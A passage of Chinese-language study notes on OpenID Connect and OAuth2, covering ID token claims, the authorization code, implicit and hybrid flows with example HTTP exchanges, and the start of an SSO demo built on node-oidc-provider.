+172.16.1.110:9991 - - [2021/01/23 17:28:32] nginx-test.ssgeek.com GET - "/oauth2/callback?code=abcd&state=abcd" HTTP/1.1 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15" 302 24 0.381 +172.16.1.110:5610 - admin@example.com [2021/01/23 17:28:32] nginx-test.ssgeek.com GET - "/oauth2/auth" HTTP/1.1 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15" 202 0 0.000 +``` + + + +--- + + +### OpenID + + +OpenID vs OpenID Connect + +- `OpenID`:由OpenID基金会维护的第三方认证规范,存在如下缺点: + - 以URI为用户唯一标识,用户难以记忆 + - 第三方应用必须是网站,没有提供API,不支持移动应用 + - 不支持健壮的加密和签名 + +- `OpenID Connect`:基于OAuth2.0实现的用户认证规范。相对OpenID提供了如下增强特性。 + - 提供可扩展性,运行人们通过任何OpenID Connect Provider进行身份验证,而不是仅限于Google、Facebook等主流IDP。 + - 电子邮件作为用户标识,便于用户记忆。 + - 允许客户端动态注册,减轻管理员显示注册设备和网站的工作量。 + + +一个授权服务如何为第三方提供认证服务? +- OpenID Connect对OAuth2.0接口进行了扩展,通过在协议中扩展身份认证所需的`id_token`字段,增加UserInfo Endpoint接口,向第三方应用提供身份认证服务。 +- 用户执行OAuth2.0的授权流程后,第三方应用获得Access Token和附加的`id_token`,`id_token`包含基本的用户身份信息,可用于身份认证。 +- 如果需要更详细用户信息,第三方应用通过Access Token,从认证服务UserInfo Endpoint接口获取用户信息。 +第三方应用可以把`id_token`和UserInfo信息作为认证用户的用户信息。 + + + + +--- + + + + + + +### OpenID Connect(OIDC) 协议 + + OAuth2与资源访问和共享有关,而OIDC与用户身份验证有关。 + +OpenID Connect 1.0 is a simple identity layer on top of the OAuth 2.0 protocol. It allows Clients to verify the identity of the End-User based on the authentication performed by an Authorization Server, as well as to obtain basic profile information about the End-User in an interoperable and REST-like manner. + +OpenID Connect allows clients of all types, including Web-based, mobile, and JavaScript clients, to request and receive information about authenticated sessions and end-users. The specification suite is extensible, allowing participants to use optional features such as encryption of identity data, discovery of OpenID Providers, and session management, when it makes sense for them. + + +#### OAuth2 vs OIDC + +![Screen Shot 2022-07-10 at 02.36.39](https://i.imgur.com/MlRVQnB.png) + +- 一个`OAuth2`上层的简单身份层协议。 + - OIDC 是在 OAuth2.0 协议之上的标识层。 + - 它拓展了 OAuth2.0,使得**认证**方式标准化。 + +OIDC在2014年发行。虽然它不是第一个idp标准,但从可用性、简单性方面来说,它可能是最好的。OIDC从SAML和OpenID 1.0/2.0中做了大量借鉴。 + +- OAuth + - 不会立即提供用户身份,而是会提供用于**授权**的`访问令牌`。 + - OAuth2.0 通过 `Access Token` 作为向 第三方应用 **授权** 访问自身资源的凭证。 + - OAuth2.0 使用 `Access Token` 来授权三方应用访问受保护的信息。 + +- OIDC + - OIDC 对 OAuth2.0 进行协议进行了扩展 + - OIDC 遵循 oAuth2.0 协议流程,并在这个基础上提供了id token来解决三方应用的用户**身份认证**问题。 + +--- + +#### basic + +- 一种安全认证机制, + +- `第三方应用` 连接到 `身份认证服务器(Identify Service)` 获取用户信息,并把这些信息以安全可靠的方式返回给 `第三方应用` + +- 它允许客户端验证用户的身份并获取基本的用户配置信息。 + + +- OIDC 使**客户端**能够通过**认证**来识别用户 + - 认证在授权服务端执行。 + - 在向授权服务端发起用户登录和授权告知的请求时,定义一个名叫openid的授权范围。 + - 在告知授权服务器需要使用 OIDC 时,openid是必须存在的范围 + + - 通过扩展的`id_token`字段,提供用户基础身份信息 + - ID 令牌是 JWT (一个编码令牌),它由三部分组成:头部,有效负载和签名。 + - `id_token`使用`JWT(JSON Web Token)`格式进行封装,作为信息返回,通过符合OAuth2的流程来获取 + - 提供自包含性、防篡改机制,可以安全的传递给第三方应用程序并容易被验证。 + + - OIDC 将用户身份认证信息以id token的方式给到三房应用。 + - 三方应用在验证完id token的正确性后,进一步通过oAuth2授权流程获得的a ccess token 读取更多的用户信息。 + - 通过 Access Token 从认证服务的 UserInfo Endpoint 接口获取更详细的用户信息。 + + + +- 它规定了其他应用,例如你开发的应用 A(XX 邮件系统),应用 B(XX 聊天系统),应用 C(XX 文档系统),如何到你的中央数据表中取出用户数据, +- 约定了交互方式、安全规范等,确保了你的用户能够在访问所有应用时,只需登录一遍,而不是反反复复地输入密码,而且遵循这些规范,你的用户认证环节会很安全。 + + + + +用户目录 +- 系统的总用户表就像一本书一样,书的封皮上写着“所有用户”四个字。 +- 打开第一页,就是目录,里面列满了用户的名字,翻到对应的页码就能看到这个人的邮箱,手机号,生日信息等等。 +- 无论你开发多少个应用,要确保你有一份这些应用所有用户信息的 truth source。 +- 所有的注册、认证、注销都要到你的用户目录中进行增加、查询、删除操作。 +- 你要做的就是创建一个中央数据表,专门用于存储用户信息,不论这个用户是来自 A 应用、B 应用还是 C 应用。 + + + +OIDC Provider +- 经常见到一些网站的登录页面上有「使用 Github 登录」、「使用 Google 登录」这样的按钮。 +- 要想集成这样的功能,你要先去 Github 那里注册一个 OAuth App,填写一些资料,然后 Github 分配给你一对 id 和 key。 +- 此时 Github 扮演的角色就是 OIDC Provider,你要做的就是把 Github 的这种角色的行为,搬到你自己的服务器来。 + +在 Github 上面搜索 OIDC Provider 会有很多结果: +- JS:https://github.com/panva/node-oidc-provider +- Golang:https://github.com/dexidp/dex +- Python:https://github.com/juanifioren/django-oidc-provider + + + +#### OIDC的好处 + +- OIDC使得身份认证可以作为一个服务存在 + +- OIDC可以很方便的实现SSO(跨顶级域) + +- OIDC兼容OAuth2,可以使用Access Token控制受保护的API资源 + +- OIDC可以兼容众多的IDP(身份提供商)作为OIDC的OP来使用 + +- OIDC的一些敏感接口均强制要求TLS,除此之外,得益于JWT,JWS,JWE家族的安全机制,使得一些敏感信息可以进行数字签名、加密和验证,进一步确保整个认证过程中的安全保障 + + + +OIDC大获成功的秘诀: +- 容易处理的id token。 + - OpenID Connect使用JWT来给应用传递用户的身份信息。 + - JWT以其高安全性(防止token被伪造和篡改)、跨语言、支持过期、自包含等特性而著称,非常适合作为token来使用。 +- 基于oAuth2.0协议。 + - id token是经过oAuth2.0流程来获取的,这个流程即支持web应用,也支持原生app。 +- 简单。 + - OpenID Connect足够简单。但同时也提供了大量的功能和安全选项以满足企业级业务需求。 + + +其目的是为您提供多个站点的登录名。 +- 每次需要使用OIDC登录网站时,都会被重定向到登录的OpenID网站,然后再回到该网站。 +- 例如,如果选择使用Google帐户登录Auth0,这就使用了OIDC。 + - 成功通过Google身份验证并授权Auth0访问您的信息后, + - Google会将有关用户和执行的身份验证的信息发送回Auth0。 + - 此信息在JWT中返回,包含`id_token`或者Access Token。 + +- JWT包含Claims + - 它们是有关实体(通常是用户)的Claims(例如名称或电子邮件地址)和其他元数据。 + +- OIDC规范定义了一组标准的权利要求。 + - 这组标准声明包括姓名,电子邮件,性别,出生日期等。 + - 但是,如果要获取有关用户的信息,并且当前没有最能反映此信息的标准声明,则可以创建自定义声明并将其添加到令牌中。 + + +--- + +#### OIDC相关的协议 + +OIDC本身是有多个规范构成,其中最主要的是一个核心的规范,多个可选支持的规范来提供扩展支持 + +主要包含: + +- Core:必选。定义OIDC的核心功能,在OAuth 2.0之上构建身份认证,以及如何使用Claims来传递用户的信息。 +- Discovery:可选。发现服务,使客户端可以动态的获取OIDC服务相关的元数据描述信息 +- Dynamic Client Registration:可选。动态注册服务,使客户端可以动态的注册到OIDC的OP +- Session Management:可选。Session管理,用于规范OIDC服务如何管理Session信息 +- Form Post Response Mode:可选。针对OAuth2的扩展,OAuth2回传信息给客户端是通过URL的querystring和fragment这两种方式,这个扩展标准提供了一基于form表单的形式把数据post给客户端的机制。 + +基础协议: +- OAuth2.0 Core:https://tools.ietf.org/html/rfc6749 +- OAuth2.0 Bearer:https://tools.ietf.org/html/rfc6750 +- OAuth2.0 Assertions:https://tools.ietf.org/html/rfc7521 +- OAuth2.0 JWT Profile:https://tools.ietf.org/html/rfc7523 +- OAuth2.0 Responses:可选。针对OAuth2的扩展,提供几个新的response_type。 +- JWT(JSON Web Token):https://tools.ietf.org/html/rfc7519 +- JWS(JSON Web Signature):https://tools.ietf.org/html/rfc7515 +- JWE(JSON Web Encryption):https://tools.ietf.org/html/rfc7516 +- JWK(JSON Web Key):https://tools.ietf.org/html/rfc7517 +- JWA(JSON Web Algorithms):https://tools.ietf.org/html/rfc7518 +- WebFinger:https://tools.ietf.org/html/rfc7033 + +![Screen Shot 2022-07-14 at 12.12.34](https://i.imgur.com/3tXZL3r.png) + +OIDC不是什么新技术,它主要是借鉴OpenId的身份标识,OAuth2的授权和JWT包装数据的方式,组合使用这些技术就是现在的OIDC。 + +--- + +#### OIDC核心规范 + +较OAuth2,OIDC有一些不同的概念: +- **OpenID Provider(OP)**,实现OIDC的`OAuth2授权服务器`, Authorization Server +- **Relying Party(RP)**,使用OIDC的`OAuth2客户端`, client +- **End-User(EU)**,用户 +- **id_token**,JWT格式的授权Claims +- **UserInfo Endpoint**,用户信息接口,通过`id_token`访问时返回用户信息,此端点必须为HTTPS + + +#### 协议流程 + +从理论上来讲,OIDC协议遵循以下步骤: +- RP发送认证请求到OP +- OP验证End-User并颁发**授权** +- OP用`id_token`(通常是Access Token)进行响应 +- RP携带Access Token发送请求到UserInfo Endpoint +- UserInfo Endpoint返回End-User的Claims + + +1. RP发送认证请求到OP + 1. 客户端发起的用于 OpenID Connect + 2. 认证请求 URI 会是如下的形式: + + ```yaml + https://accounts.google.com/o/oauth2/v2/auth? + response_type=code + &client_id=your_client_id + &scope=openid%20contacts + &redirect_uri=https%3A//oauth2.example.com/code + ``` + +2. OP验证End-User并颁发**授权** + 1. OP用`id_token`(通常是Access Token)进行响应 + 2. 该请求的返回结果 + 1. 是客户端可以用来交换`访问令牌和 ID 令牌`的**授权码**。 + 2. 如果 OAuth 流程是隐式的,那么授权服务端将直接返回`访问令牌和 ID 令牌`。 + +3. 在获得了 ID 令牌后,客户端可以将其解码,并且得到被编码在有效负载中的用户信息, + 1. RP携带Access Token发送请求到UserInfo Endpoint + 2. UserInfo Endpoint返回End-User的Claims 声明 + 3. 如以下例子所示: + + ```yaml + { + "iss": "https://accounts.google.com", + "sub": "10965150351106250715113082368", + "email": "johndoe@example.com", + "iat": 1516239022, + "exp": 1516242922 + } + ``` + +``` ++--------+ +--------+ +| | | | +| |---------(1) AuthN Request-------->| | +| | | | +| | +--------+ | | +| | | | | | +| | | End- |<--(2) AuthN & AuthZ-->| | +| | | User | | | +| RP | | | | OP | +| | +--------+ | | +| | | | +| |<--------(3) AuthN Response--------| | +| | | | +| |---------(4) UserInfo Request----->| | +| | | | +| |<--------(5) UserInfo Response-----| | +| | | | ++--------+ +--------+ + +AuthN=Authentication,表示认证; + +AuthZ=Authorization,代表授权。 + + +RP发往OP的请求,是属于Authentication类型的请求, +虽然在OIDC中是复用OAuth2的Authorization请求通道,但是用途是不一样的, + +OIDC的AuthN请求中scope参数必须要有一个值为的openid的参数, 用来区分这是一个OIDC的Authentication请求,而不是OAuth2的Authorization请求。 +``` + +--- + + +##### 声明(Claim) + +ID 令牌的有效负载包括了一些被称作声明的域。 + +基本的声明有: +- `iss`:令牌发布者 +- `sub`:用户的唯一标识符 +- `email`:用户的邮箱 +- `iat`:用 Unix 时间表示的令牌发布时间 +- `exp`:Unix 时间表示的令牌到期时间 + +然而,声明不仅限于上述这些域。 +- 由授权服务器对声明进行编码。客户端可以用这些信息来认证用户。 +- 如果客户端需要更多的用户信息,客户端可以指定标准的 OpenID Connect 范围,来告知授权服务端将所需信息包括在 ID 令牌的有效负载中。 + - 这些范围包括个人主页(profile)、邮箱(email)、地址(address)和电话(phone)。 + +--- + +##### ID Token + +**ID Token** +- OIDC 对 OAuth2 进行的主要扩展(用户用户身份验证)就是 `id_token` +- `id_token` 的概念类似身份证,只不过是JWT的形式,并由OP签发。 + +- 其中包含`授权服务器`对`用户` **验证的Claims** 和 **其它请求的Claims** + +- `id_token` 可能包含其它 Claims,任何未知的Claims都必须忽略。 + - `id_token` 必须使用JWS进行签名,并分别使用JWS和JWE进行可选的签名和加密,从而提供身份验证、完整性、不可抵赖性和可选的机密性。 + - 如果对`id_token`进行了加密,则必须先对其签名,结果是一个嵌套的JWT。 + - `id_token`不能使用`nonce`作为alg值,除非所使用的**响应类型**没有从Authorization Endpoint返回任何`id_token`(如Authorization Code Flow),并且客户端在注册时显示请求使用`nonce` + + +id token具有如下属性: +- 说明是哪位用户,也叫做主题(sub) +- 说明token由谁签发的(iss) +- 是否是为某一个特殊的用户生成的(aud) +- 可能会包含一个随机数(nonce) +- 认证时间(auth_time),以及认证强度(acr) +- 签发时间(iat)和过期时间(exp) +- 可能包含额外的请求细节,比如名字和email地址等 +- 是否包含数字签名,token的接收方可以验证这个签名 +- 可以被加密 + +一个id token样例如下: +```yaml +{ + "iss" : "https://openid.c2id.com", + "sub" : "alice", + "aud" : "client-12345", + "nonce" : "n-0S6_WzA2Mj", + "exp" : 1311281970, + "iat" : 1311280970, + "auth_time" : 1311280969, + "acr" : "c2id.loa.hisec", +} + +# id token的头部,包含签名等信息,则会被编码成base64格式,下面是一个例子: +eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ.ewogImlzcyI6ICJodHRw Oi8vc2VydmVyLmV4YW1wbGUuY29tIiwKICJzdWIiOiAiMjQ4Mjg5NzYxMDAxIiw KICJhdWQiOiAiczZCaGRSa3F0MyIsCiAibm9uY2UiOiAibi0wUzZfV3pBMk1qIi wKICJleHAiOiAxMzExMjgxOTcwLAogImlhdCI6IDEzMTEyODA5NzAKfQ.ggW8hZ 1EuVLuxNuuIJKX_V8a_OMXzR0EHR9R6jgdqrOOF4daGU96Sr_P6qJp6IcmD3HP9 9Obi1PRs-cwh3LO-p146waJ8IhehcwL7F09JdijmBqkvPeB2T9CJNqeGpe-gccM g4vfKjkM8FcGvnzZUN4_KSP0aAp1tOJ1zZwgjxqGByKHiOtX7TpdQyHE5lcMiKP XfEIQILVq0pc_E2DzL7emopWoaoZTF_m0_N0YzFC6g6EJbOEoRoSK5hoDalrcvR YLSrQAZZKflyuVCyixEoV9GfNQC3_osjzw2PAithfubEEBLuVVk4XUVrWOLrLl0 +nx7RkKU8NXNHq-rvKMzqg + +# ID Token必须使用JWS进行签名和JWE加密,从而提供认证的完整性、不可否认性以及可选的保密性。 +``` + + + + +- ID Token是JWS(JSON Web Signature)格式的字符串 + - JWS字符串有三部分组成,分别为JWS Protected Header、JWS Payload、JWS Signature + - 三部分内容分别Base64编码后通过点(.)拼接,拼接公式如下: + + ```yaml + BASE64URL(UTF8(JWS Protected Header)) || '.' || + BASE64URL(JWS Payload) || '.' || + BASE64URL(JWS Signature) + ``` + +**JWS Signature** +- JWS可以通过JWS Signature来校验数据的完整性,但不提供机密性。 + +**JWS Payload**是ID Token的内容部分,是一个JSON对象,包括如下字段: +- 在`id_token`中,以下Clams适用于使用OIDC的所有OAuth2: +- `iss`: 必须 + - (Issuer Identifier)ID Token颁发者的标识符,一般为认证服务器的URL。 + - 发行机构Issuer,大小写敏感的URL,不能包含query参数. +- `sub`: 必须 + - (Subject Identifier)认证用户(End User)标识符,全局唯一。 + - 用户身份Subject,Issuer为End-User分配的唯一标识符,大小写敏感不超过255 ASCII自符 +- `aud`: 必须 + - (Audience(s))ID Token的受众 + - 特别的身份Audience,必须包含OAuth2第三方应用的client_id,大小写敏感的字符串/数组 +- `exp`: 必须 + - (Expiration time)Token过期时间。 + - iat到期时间Expire,参数要求当前时间在该时间之前,通常可以时钟偏差几分钟,unix时间戳 +- `iat`: 必须 + - (Issued At Time)JWT生成时间。 + - unix时间戳 +- `auth_time`: + - (Authentication Time)用户认证发送时间。 + - End-User验证时间,unix时间戳。 + - 当发出max_age或auth_time Claims时, 必须 +- `nonce`: + - 随机数,防重放攻击。 + - 用于将Client session和`id_token`关联,减轻重放攻击,大小写敏感字符串 +- `acr`: 可选 + - Authentication Context Class Reference 表示一个认证上下文引用值,用以标识认证上下文类。 + - 0 End-User不符合ISO/IEC 28115 level 1,不应该授权对任何货币价值的资源访问。大小写敏感的字符串。 +- `amr`: 可选 + - Authentication Methods References 一组认证方法。 + - JSON字符串数组,身份验证的表示符,如可能使用了密码和OTP身份验证方式 +- `azp`: 可选 + - Authorized party,被授权方。 + - 结合aud使用,只有在被认证的一方和受众(aud)不一致时才使用此值,一般情况下很少使用。 + - 如果存在必须包含OAuth2的Client ID,仅当`id_token`有单个Audience且与授权方不同时,才需要此Claim + + +--- + +#### 授权 + +由于OIDC基于OAuth2,所以OIDC的认证流程主要是由OAuth2的几种授权流程延伸而来的, + +`身份验证`遵循以下三种方式; +- Authorization code Flow 授权码方式 (`response_type = code`) +- Implicit Flow 隐式方式 (`response_type = id_token token / id_token`) +- Hybrid Flow 混合方式:混合Authorization Code Flow + Implici Flow。 + + +OAuth2中还有基于Resource Owner Password Credentials Grant和Client Credentials Grant的方式来获取Access Token,为什么OIDC没有扩展这些方式呢? +- Resource Owner Password Credentials Grant是需要用户提供账号密码给RP的,账号密码给到RP,还需要什么ID Token +- Client Credentials Grant这种方式根本就不需要用户参与,更谈不上用户身份认证。这也能反映授权和认证的差异,以及只使用OAuth2来做身份认证的事情是远远不够的,也是不合适的。 + +下表是三种方式的特征: + +| 属性 | 授权码 | 隐式 | 混合 | +| ---------------------------- | ------ | ---- | ---- | +| Token从authorization端点返回 | no | yes | no | +| Token从token端点返回 | yes | no | no | +| Token未显示给浏览器 | yes | no | no | +| 能够验证客户端 | yes | no | yes | +| 可以刷新Token | yes | no | yes | +| 一次交流 | no | yes | no | +| 服务器到服务器 | yes | no | no | + +response_type对应的身份验证方式: + +| response_type | 方式 | +| --------------------- | ------ | +| code | 授权码 | +| id_token | 隐式 | +| id_token token | 隐式 | +| code + id_token | 混合 | +| code + token | 混合 | +| code + id_token token | 混合 | + + +除了由OAuth2定义的“response_type”之外,所有code均在 OAuth2多种响应类型编码实践。 + +注意OAuth2为隐式类型定义token的响应类型,但OIDC不会使用此响应类型,因为不会返回`id_token`。 + + + + +--- + + +##### Authorization code 授权码方式 + +以下是 OIDC 授权码模式的交互模式,你的应用和 OP 之间要通过这样的交互方式来获取用户信息。 + +- 使用授权码方式时,所有Token从Token端点返回。 +- 授权码将授权code返回给客户端,然后客户端可以将其直接交换为`id_token`和Access Token。 +- 这样的好处是不会向User-Agent及可能访问User-Agent的其它恶意应用公开任何Token。 +- 授权服务器还可以在交换Access Token的授权code之前对客户端进行身份验证。 +- 授权code适用于可以安全的维护其自身和授权服务器之间的客户端机密的客户端。 + + +![2020032710565066](https://i.imgur.com/D5E1e5p.png) + +OIDC Provider 对外暴露一些接口 + +- 授权接口 Authorization Endpoint + - 每次调用这个接口,就像是对 OIDC Provider 喊话:我要登录,如第一步所示。 + - 然后 OIDC Provider 会检查当前用户在 OIDC Provider 的登录状态, + - 如果是未登录状态,OIDC Provider 会弹出一个登录框,与终端用户确认身份,登录成功后会将一个临时授权码(一个随机字符串)发到你的应用(业务回调地址); + - 如果是已登录状态,OIDC Provider 会将浏览器直接重定向到你的应用(业务回调地址),并携带临时授权码(一个随机字符串)。如第二、三步所示。 + +- token 接口 Token Endpoint + - 每次调用这个接口,就像是对 OIDC Provider 说:这是我的授权码,给我换一个 access_token。如第四、五步所示。 + +- 用户信息接口 UserInfo Endpoint + - 每次调用这个接口,就像是对 OIDC Provider 说:这是我的 access_token,给我换一下用户信息。到此用户信息获取完毕。 + +为什么这么麻烦?直接返回用户信息不行吗? +- 因为安全, +- code 的有效期一般只有十分钟,而且一次使用过后作废。 +- OIDC 协议授权码模式中,只有 code 的传输经过了用户的浏览器,一旦泄露,攻击者很难抢在应用服务器拿这个 code 换 token 之前,先去 OP 使用这个 code 换掉 token。 +- 而如果 access_token 的传输经过浏览器,一般 access_token 的有效期都是一个小时左右,攻击者可以利用 access_token 获取用户的信息,而应用服务器和 OP 也很难察觉到,更不必说去手动撤退了。 +- 如果直接传输用户信息,那安全性就更低了。 +- 一句话:避免让攻击者偷走用户信息。 + + +--- + +###### 授权步骤 + +1. `Client (RP)` + 1. 准备一个包含 **所需请求参数** 的 **身份验证请求** + 2. 请求发送到`Authorization Server (OP)`, 向授权服务器(Authorization Server)请求认证。 +2. `Authorization Server (OP)` + 1. 对`用户(EU)`进行身份验证 + 2. 获得 用户 同意/或授权, 用户确认给Client授权并确认。 + 3. 使用 授权码 将 `用户` 发送回`Client (RP)`, URL中携带授权代码。 +3. `Client (RP)` + 1. 使用令牌端点上的授权码来请求响应。通过授权代码,向Token Endpoint发送请求。 +4. `Token Endpoint` + 1. 收到, 响应 + 2. 响应Body中包含 `id_token` 和 `Access Token` (ID令牌和访问令牌) +5. `Client (RP)` + 1. 校验 `id_token`,从中提取用户的身份标识(Subject Identifier)。 + + +--- + +###### 身份验证请求 + +Authorization Server (OP)的authorization端点需要支持GET和POST方法, +- GET采用Query String序列化, +- POST采用Form序列化。 + +OIDC采用OAuth2的授权码流程参数: +- `response_type`: 必须,同OAuth2 +- `scope`: 必须,OIDC必须包含openid的scope参数 +- `client_id`: 必须,同OAuth2 +- `redirect_uri`: 必须,同OAuth2 +- `state`,可选,同OAuth2 + + +如: + +```yaml +HTTP/1.1 302 Found +Location: https://openid.c2id.com/login? + response_type=code + &scope=openid + &client_id=s6BhdRkqt3 + &state=af0ifjsldkj + &redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb + +GET /authorize? + response_type=code + &scope=openid%20profile%20email + &client_id=s6BhdRkqt3 + &state=af0ifjsldkj + &redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb HTTP/1.1 +Host: server.example.com +``` + +--- + +###### 授权响应 + +OP收到验证请求后,需要对请求参数做严格的验证: + +1. 验证OAuth2的相关参数 +2. 验证`scope`是否有openid参数,如果没有则为OAuth2请求 +3. 验证所有必须的参数是否都存在 +4. 如果sub是被要求了,必须尽在由子值标识的最终用户与活动session通过身份验证的情况下积极响应。不得使用不用用户的`id_token`或Access Token响应,即使这些用户与授权服务器由活动session。如果支持claims,则可以使用id_token_hint发出请求。 + + +验证通过后引导EU进行身份认证并同意授权。完成后,会重定向到RP指定的回调地址,并携带`code`和`state`相关参数: + +```yaml +HTTP/1.1 302 Found +Location: https://client.example.org/cb? + code=SplxlOBeZQQYbYS6WxSbIA + &state=af0ifjsldkj +``` + + +--- + +###### 获取Token + +RP使用上一步获得的code请求token端点,然后就可以获得响应Token +- 其中除了OAuth2规定的数据外,还会附加一个 `id_token` 的字段, + +如: + +```yaml +POST /token HTTP/1.1 +Host: openid.c2id.com +Content-Type: application/x-www-form-urlencoded +Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW + +grant_type=authorization_code + &code=SplxlOBeZQQYbYS6WxSbIA + &redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb +``` + +成功后,OP会返回带有 `id_token` 的JSON数据: + +```yaml + HTTP/1.1 200 OK + Content-Type: application/json + Cache-Control: no-store + Pragma: no-cache + + { + "access_token": "SlAV32hkKG", + "token_type": "Bearer", + "refresh_token": "8xLOxBtZp8", + "expires_in": 3600, + "id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ.ewogImlzc + yI6ICJodHRwOi8vc2VydmVyLmV4YW1wbGUuY29tIiwKICJzdWIiOiAiMjQ4Mjg5 + NzYxMDAxIiwKICJhdWQiOiAiczZCaGRSa3F0MyIsCiAibm9uY2UiOiAibi0wUzZ + fV3pBMk1qIiwKICJleHAiOiAxMzExMjgxOTcwLAogImlhdCI6IDEzMTEyODA5Nz + AKfQ.ggW8hZ1EuVLuxNuuIJKX_V8a_OMXzR0EHR9R6jgdqrOOF4daGU96Sr_P6q + Jp6IcmD3HP99Obi1PRs-cwh3LO-p146waJ8IhehcwL7F09JdijmBqkvPeB2T9CJ + NqeGpe-gccMg4vfKjkM8FcGvnzZUN4_KSP0aAp1tOJ1zZwgjxqGByKHiOtX7Tpd + QyHE5lcMiKPXfEIQILVq0pc_E2DzL7emopWoaoZTF_m0_N0YzFC6g6EJbOEoRoS + K5hoDalrcvRYLSrQAZZKflyuVCyixEoV9GfNQC3_osjzw2PAithfubEEBLuVVk4 + XUVrWOLrLl0nx7RkKU8NXNHq-rvKMzqg" + } +``` + +在拿到这些信息后,需要对id_token及access_token进行验证。验证成功就可以通过UserInfo端点获取用户信息了。 + + +--- + + +###### 验证Token + +授权服务器必须验证Token的有效性: +- 根据RFC6749 +- 验证`id_token`规则 +- 验证Access Token规则 + +--- + + +###### 获取用户信息 UserInfo +Client (RP)可以通过GET或POST请求通过 `UserInfo Endpoint` 获取用户信息。 + +```yaml +GET /userinfo HTTP/1.1 +Host: openid.c2id.com +Authorization: Bearer SlAV32hkKG + +# 请求成功: +{ + "sub" : "alice", + "email" : "alice@wonderland.net", + "email_verified" : true, + "name" : "Alice Adams", + "given_name" : "Alice", + "family_name" : "Adams", + "phone_number" : "+359 (99) 100200305", + "profile" : "https://c2id.com/users/alice", + "https://c2id.com/groups" : [ "audit", "admin" ] +} +``` + + +--- + + + +##### Implicit 隐式授权 + +隐式授权 +- 所有Token都从授权端点返回。 +- 主要由浏览器中使用脚本语言实现的客户机使用。 +- 访问Token和`id_token`直接返回给客户端,授权服务器不执行客户端身份验证。 + +--- + +###### 授权步骤 + +1. `Client (RP)` + 1. 携带 **认证参数发送请求** 到Authorization Server (OP) + +2. `Authorization Server (OP)` + 1. 验证用户 并得到 用户批准 + 2. 携带用户相关信息 + `id_token/Access Token` 返回到Client (RP) + +3. `Client (RP)`验证 `id_token` 和检索用户标识符 + +--- + +###### 授权请求 + +- `response_type`: 必须,`id_token token`或`id_token`。无Access Token使用`id_token` +- `redirect_uri`: 必须,OP处登记的重定向地址 +- `nonce`: 必须,隐式授权必须 + +```yaml +GET /authorize? + response_type=id_token%20token + &client_id=s6BhdRkqt3 + &redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb + &scope=openid%20profile + &state=af0ifjsldkj + &nonce=n-0S6_WzA2Mj +HTTP/1.1 + Host: server.example.com +``` + +--- + +###### 授权响应 + +- `access_token`: 如果response_type是id_token可以不反回 +- `token_type`: 固定为Bearer, +- `id_token`: 必须,`id_token` +- `state` +- `expires_in`,可选,Access Token到期时间(s) + +之后就可以拿着`id_token` + +```yaml +HTTP/1.1 302 Found + Location: https://client.example.org/cb# + access_token=SlAV32hkKG + &token_type=bearer + &id_token=eyJ0```ZXso + &expires_in=3600 + &state=af0ifjsldkj +``` + + + + + + +--- + +##### 混合授权 + +是上面两种模式的混合。 + +可选response_type有:code id_token,code token,code id_token token。 + + +###### 授权步骤 + +1. 客户端 + 1. 准备一个包含所需请求参数的身份验证请求。 + 2. 将请求发送到授权服务器。 +2. 授权服务器 + 1. 对最终用户进行身份验证。 + 2. 获得最终用户同意/授权。 + 3. 使用授权码以及一个或多个其他参数(根据响应类型)将最终用户发送回客户端。 +3. 客户端 + 1. 使用令牌端点上的授权码来请求响应。 + 2. 收到响应,该响应在响应主体中包含ID令牌和访问令牌。 + 3. 验证ID令牌并检索最终用户的主题标识符。 + + +--- + +###### 授权请求 + +```yaml +GET /authorize? + response_type=code%20id_token + &client_id=s6BhdRkqt3 + &redirect_uri=https%3A%2F%2Fclient.example.org%2Fcb + &scope=openid%20profile%20email + &nonce=n-0S6_WzA2Mj + &state=af0ifjsldkj + +HTTP/1.1 + Host: server.example.com +``` + +--- + +###### 授权响应 + +```yaml +HTTP/1.1 302 Found + Location: https://client.example.org/cb# + code=SplxlOBeZQQYbYS6WxSbIA + &id_token=eyJ0```ZXso + &state=af0ifjsldkj +``` + + +--- + + +#### example + +##### 通过 OIDC 协议实现 SSO 单点登录 + +SSO + +- 例子: + - 假设有一所大学,内部有两个系统,一个是邮箱系统,一个是课表查询系统。 + - 现在想实现这样的效果:在邮箱系统中登录一遍,然后此时进入课表系统的网站,无需再次登录,课表网站系统直接跳转到个人课表页面,反之亦然。 + +- Single Sign On +- 流行的企业业务整合的解决方案之一 +- SSO 的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。 + +- 单点登录的意义在于能够在`不同的系统中` **统一账号、统一登录**。 + - 用户不必在每个系统中都进行注册、登录,只需要使用一个统一的账号,登录一次,就可以访问所有系统。 + + +##### 创建自己的用户目录 + + +##### 架设自己的 OIDC Provider + +OIDC Provider + +- 本文使用 JS 语言的 node-oidc-provider。 + +示例代码 Github + +- 可以在 Github 找到本文示例代码:https://github.com/Authing/implement-oidc-sso-demo.git + +```bash +# 创建文件夹,用于存放代码: +$ mkdir demo +$ cd demo + +# 克隆仓库 +# 将 https://github.com/panva/node-oidc-provider.git 仓库 clone 到本地 +$ git clone https://github.com/panva/node-oidc-provider.git + +# 安装依赖 +$ cd node-oidc-provider +$ npm install +``` + + +##### 在 OIDC Provider 申请 Client +- Github 会分配给你一对 id 和 key + - 这一步其实就是你在 Github 申请了一个 Client。 + - 在 Github 上填写应用信息,然后提交,会发送一个 HTTP 请求到 Github 服务器。 + - Github 服务器会生成一对 id 和 key,还会把它们与你的应用信息存储到 Github 自己的数据库里。 + +- 如何向我们自己的服务器上的 OIDC Provider 申请一对这样的 id 和 key 呢 + - 以 node-oidc-provider 举例, + - 最快的获得一个 Client 的方法就是将 OIDC Client 所需的元数据直接写入 node-oidc-provider 的配置文件里面。 + - 将 OIDC Client 所需的元数据直接写入到配置文件,可以理解成,我们在自己的数据库里手动插入了一条数据,为自己指定了一对 id 和 key 还有其他的一些 OIDC Client 信息。 + + + +##### 修改配置文件 + +进入 node-oidc-provider 项目下的 example 